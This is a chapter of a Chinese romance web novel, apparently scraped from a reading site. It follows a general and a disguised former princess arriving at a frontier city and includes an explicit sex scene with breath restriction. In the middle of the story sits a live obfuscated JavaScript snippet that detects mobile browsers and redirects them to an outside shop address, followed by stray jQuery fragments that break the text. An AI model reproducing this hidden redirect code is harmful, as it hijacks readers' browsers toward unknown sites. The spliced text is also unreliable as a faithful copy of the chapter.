默认冷灰
24号文字
方正启体

57. 故土(7)

作者:东朱亭本书字数:K更新时间:
    这话说得很伤人。


    即便白佑霖自己也是这么想,但他心里会止不住去幻想,想被他喜欢的姑娘理解,认同。


    好刺人啊。


    白佑霖笑笑了事,“嗯,我也这么觉着。”


    两人晃着晃着,就快抵达帛蓝城。


    回到帛蓝城,白佑霖的这趟旅程算是结束,要开始打仗了,且必须打一场胜仗,打得骜丹元气大伤,再不敢进犯,那样他才有回家的资格。


    而这对于元楹楣来说,亦是战鼓擂动,她想赢骜丹,更想在赢了骜丹以后,用白佑霖手里的权力打赢复国的战役。


    可她越来越不确信,白佑霖是否真能为她所用。


    到目前为止,她得出的结论是,难。


    落脚一个镇子,此处是备战区域,供人歇脚的镇子混乱,但已是年关,总有几户人家门前挂了灯笼。


    二人牵着马走在混着湿雪的泥泞道路上,白佑霖口中吐着圈圈白雾,“今晚好好歇歇,后日就是除夕,给你买朵花儿戴,咱们也得过年。”


    他时不时就会说出那么一句很暖人的话,元楹楣也回得暖人,“你们那儿的习俗是戴花儿?我怎么没听过,什么样的花儿?”


    “得戴啊,要和平常一样了,哪里叫过年。”白佑霖回忆着,“一种红色的绒花,我娘每年都给大姐和三妹做,再穷也会做。”


    说着,二人落脚一家客栈,白佑霖为她洗完脚后,就将人按进被窝里发狠地亲,发狠地揉捏,捏得人声音细碎,连不成像样的调子,被撞进床角落动弹不得,连连溢出“受不住……”


    白佑霖埋进她发丝里,将她塞在嘴里的手臂拉扯出来扣在枕边,胸腔里漫出狂乱又压抑的低厚声音,“你叫出来啊……”


    元楹楣头倏地被撞进了软枕里,嗔怪黏着不已,“会被听见的……”


    “那你在我耳边唤。”说话间,他被绞得头皮发麻。


    元楹楣哼唧着摇头,长颈仰得厉害,明明是仰躺,脸却已经埋进了头顶立着的枕头,压抑着声音,生怕溢出一点,变成灭顶之灾。


    她不出声,白佑霖便越使坏。


    元楹楣神魂抽离时,眼泪怎么止不住,只闹着,“别别别……别……别……”


    一连说出五个别,应该是真的了。


    若她只说一个别,就是要,说两个,有时候是要有时候是不要,三个也说不准,四个还未出现过。


    白佑霖应她,却是忽而紧紧握住她的手,太阳穴狠狠抽动两下,“说好的别,那你扭什么?”


    元楹楣真是服了他话那么多,有时候他起些话来让人想将脸皮撕下来藏兜里,也不知怎么说得出口,让人听着着实臊得厉害。


    她腰扭了好一阵才扭回来,倏而放松的身体像一滩水融了了雪水,稀里哗啦软了烂了舒展了。


    “呵呵,瞧你,也不知是高兴得哭,还是伤心得哭。”


    元楹楣拉了枕头盖脸上,“哎呀,你闭嘴!”


    “那你也不能不管我啊。”


    “我要管你什么?”她声音越发软绵。


    “那你别管我待会儿做什么。”


    元楹楣还没来得及问他要做什么,盖在脸上的枕头就被他拿手压住了。


    难以呼吸,顾得了上面顾不了下面,以至于在微微窒息感间,她迅速败退,魂飞魄散。


    枕头拿开的那一刻,她伸手抱住白佑霖,骂人的话就这般消失了。


    他是个不需要任何技巧的男人,还有些莫名其妙的骚话。


    元楹楣不禁回忆起从前,以前她从未觉着自己是个欲求不满的人啊,曲弥欣她那时挺满意的啊,怎么如今竟生出了比较?


    难道是日子太久,她已经完全忘记曲弥欣那丁点好了?


    “还能走神?”白佑霖不满意她闷着不出声。


    她不是走神,而是麻木了,整个夜晚就听他在耳边念,好姑娘好软好大好紧啊到底了要折了,让人羞赧中抽离涣散,不吃三碗饭她是再也叫不出一声的。


    弄得人第二日起不了床,只想窝在被窝里看窗外扑簌簌落下的雪。


    他倒是生龙活虎去镇子上买完吃食,吃饱后又不知在那儿鼓捣什么。


    不多时,他忽然捧出一朵红色的绒花,像是染了红的麻布搓出来的,起毛的边层层叠叠堆出了花瓣,粗糙的料子却做出了不凡的效果。


    “倒是好看。”她接过。


    “戴上。”


    他高扬眉梢,银眸里一簇光,似雪岭烈阳,在满目反光的雪白里头,太阳并不显得突兀刺眼,只有想迎面而上的暖意。


    元楹楣道,“这个花儿得盘发?得梳低髻才好看,我好久没梳发髻了。”


    这一路以来,要么是拢在脑后,要么是梳个辫子,虞国的精致发髻的确很久没梳了,上一次梳,还是同曲弥欣在达鲁王庭时……


    “这有啥,我给你梳。”


    讶异中,她已经被按到镜子前,看着他在自己头上摆弄,她生出了一点点不真实的荒谬感,“你什么都会?”


    “哪能啊,我不会读书。”白佑霖漫不经心地答,“我家里全是女人,再怎么看也该看会了。我那妹妹是个只会吃饭调皮的,每次疯玩了回来,头发都乱糟糟的,不给她梳怎么办呐!”


    “也有人脏了乱了便随之而去。你们吃饭都困难,还这般在意妆容发髻?”


    “那可不行,我那一家子女人都爱漂亮,逢年过节最少得花半天来打扮,头花提前两个月就开始做,簪子从年头就让我削,不过一年也就一回,再怎么也得满足她们。”


    元楹楣扯着嘴角笑了,“也是,若是吃不起饭就让自己邋遢着,那日子就更没有盼头了。”


    “我听你说话,也不止像个千金大小姐。”


    “你对千金小姐有什么偏见?”元楹楣朝他挑眉,“你该不会觉得我很难伺候,配不上你?”


    “你这话说出来不讲道理,人家都说的是千金小姐看不上我们这样的泥腿子!”


    “得了,你现在可是位列王侯。”


    “位列王侯还不是得为媳妇儿梳头。”


    媳妇儿……


    元楹楣怔怔的,以前她没想过,她会被人称为媳妇儿。


    头发梳好了,与她想象中的发髻不一样,她觉得没那么好看,便指指点点,“这两边不一样,这边乱七八糟的。”


    “给你梳头还挑三拣四!本来也就不一样,这边要插花那边不插!”


    元楹楣捏紧了拳头,争执了会儿,衣裳都打没了,莫名其妙。


    直至帛蓝城都是这样的。


    她甚至以为会一直这样,白佑霖也这样觉着,但他想得更多,想怎么办婚宴,婚宴要请哪些人,儿子长什么样了,会接受她吗?她可会对儿子好?


    或许恨意真会随着时间消弭。


    他忐忑地盼着什么,又隐隐担心着什么。


    帛蓝城是当前梁国边陲最为富裕的地带,也是个必须死守的城池,来来往往的人比沿路的小镇子多上太多,盘查也甚是严密。


    看见城门的那一刻,元楹楣心里涌起一阵恐慌。


    一来梁军的衣裳换了制式,连以前的五人编伍,也变成了三人。军队是一个国家的命脉,编伍的规则变了,不再是她所熟知的规矩,这种惶然滚滚而来,迅速侵吞着她所有的安心感。


    官兵见了白佑霖个个都规矩放行,沿路的小头领都惊喜大呼,“侯爷可算回来了!”


    这样的恭贺也让元楹楣恐惧,因为这些本该属于她,而如今,这片土地再也不会有对她笑脸相迎的人。


    她想过会不好受,却不知身临其境时,那无助之感迅速将她淹没。


    出于本能,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912186|188868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    元楹楣想去拉白佑霖的手,却在半道缩回。


    因为那一刻,她忽然意识到白佑霖是谋逆者之一,就算不是主谋,但有他没他,局势一定会不一样。


    没他,或许萧臻简与纪南风就打不过虞国的军队。


    或许皇室之人便不会被屠尽。


    或许虞国不会亡。


    清醒猝不及防,恨意陡然而生。


    得跑!


    但此刻已经踏进城门,白佑霖在城门口的布告栏前驻足,看着上面的通缉画像漫不经心地道,“还是没变,陈七,你来看看这张写的谁?”


    元楹楣此刻已经白了脸,却不敢让他看见自己的慌乱,她抬头朝他指的画像望去,眼珠子又往旁边一瞥,她的画像就在旁边挨着,霎时心惊肉跳,即使不那么相像,她故作镇定的道,“杨桑海,偷盗者。”


    白佑霖紧皱着眉,“杨桑海是谁,偷什么了?”


    元楹楣挂上欲盖弥彰的笑,“不知道啊。”


    白佑霖摸不着头脑,手指头又往旁边滑去,划过她的画像,她的名字,简直是拿刀在元楹楣心口上划着,稍不留神,就要将她割伤。


    好在,他发现自己大多数不认识后,转身走了,“走,先吃点垫着,晚上我让人大摆宴席,绝对将你肚子吃得圆鼓鼓的!”


    元楹楣:“呵呵呵。”


    她假笑着四处张望,脑子疯狂运转着。


    白佑霖领她到一个摊铺前坐下,朝老板大喊,“来两碗牛肉面。”


    他喊完对元楹楣吹嘘,“这家面是我吃过最好的一家!”


    元楹楣紧张时,身上的刺儿就止不住往外冒,“什么你都说最好,没吃过好的。”


    白佑霖见过这模样,“我哪里又惹你了?”


    她笑笑不说话,望向一旁的糕点铺子时,忽然道,“你在这等,我去买糕点。”


    “吃了一起去买啊。”


    “我就想下着面吃。”


    “喔……”白佑霖顺着她的眼神望去,糕点铺子就在对面,几步路,没太在意,“去吧,有钱吗?”


    “有。”她脱口而出,提着裙摆小跑而去。


    白佑霖觉着她不开心,又不知哪里惹到了她,很是费解。


    须臾,老板将两碗面端上来了,白佑霖朝糕点铺望去,没瞧见人,想她是去里面挑选了,便想着等一会儿。


    正当此时,街边一青衫男子携一队士兵而来,视线锁定在白佑霖身上时,长舒一大口气,而后翩然走过去,自觉在白佑霖对面落座。


    白佑霖瞧见了人,并不惊讶,只抱着手调侃,“一边儿去,这儿有人。”


    张栩看着那碗面,冷冷嗤笑一声,“女人?”


    “嗯。”白佑霖并不在意地答。


    张栩一听,登时讥诮个不停,“消失这么久,什么事都不管,还带个女人回来!”


    “还买个女奴,你心软使什么美人计啊?”


    白佑霖眯起眼,“你哪儿知道的?……不对,我带女人回来跟你有什么关系?”


    “张黑和李阿告诉我的。”


    白佑霖想起来了,他之前让这两人护送陈七回来,哪知陈七竟然自己跑进了沙漠里头。


    他并不在意张栩对他啰里吧嗦的怨,离开之前他也是这么啰嗦,说他去达鲁语言不通心又软,一定会被人骗。


    听多了就习惯了,张栩就是这么个人。


    他朝人摆手,“你先让让,你那位置是姑娘坐的,要吃自己一边儿喊去。”


    张栩蓦地长叹起来,“那女的就是那个使女?”


    “嗯。”


    “使女使女,使女就对了。”张栩道。


    白佑霖不解,“使女怎么了?”


    “将军,你被骗了。”


    “那使女是前虞十九公主。”


    “元楹楣。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)